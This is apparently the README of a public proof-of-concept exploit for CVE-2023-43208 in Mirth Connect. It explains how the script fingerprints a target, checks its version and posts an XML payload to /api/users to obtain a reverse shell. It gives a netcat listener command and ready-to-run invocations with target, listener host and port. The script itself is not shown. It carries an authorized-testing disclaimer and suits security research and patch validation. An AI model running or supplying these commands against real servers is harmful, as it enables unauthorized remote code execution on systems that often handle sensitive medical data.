Proof-of-concept Python script targeting CVE-2023-43208 in Mirth Connect.
Use only in environments you own or are explicitly authorized to test. This repository is for security research, validation, and defensive testing. The author assumes no responsibility for any misuse or damage caused by this tool.
exp.py is a minimal-dependency version of PoC that:
- Detects whether a target appears to be a Mirth Connect instance
- Requests the Mirth Connect version from
/api/server/version - Checks whether the version is lower than
4.4.1 - Sends an XML payload to
/api/usersif the target appears vulnerable
The script defaults to HTTPS and can be switched to HTTP with --http.
python3 exp.py -u <target> -lh <listener_host> -lp <listener_port> [--http]-u,--url: Target Mirth Connect URL or host-lh,--lhost: Local host/IP for the reverse connection-lp,--lport: Local listening port--http: Force HTTP instead of HTTPS (default is HTTPS)
Start a listener first:
nc -lvnp 4444Run the script:
python3 exp.py -u https://target.example.com -lh 192.168.1.10 -lp 4444For an HTTP-only target:
python3 exp.py -u target.example.com -lh 192.168.1.10 -lp 4444 --http- SSL certificate verification is disabled in the script.
- The script prompts for confirmation before sending the payload.
- Version detection is based on semantic comparison against
4.4.1. - A target that is detected as Mirth Connect is not guaranteed to be exploitable (network, environment, and runtime differences may affect results).
- Original vulnerability discovery: IHTeam
- Original code:
K3ysTr0K3RandChocapikk - Minimal dependency version:
predyy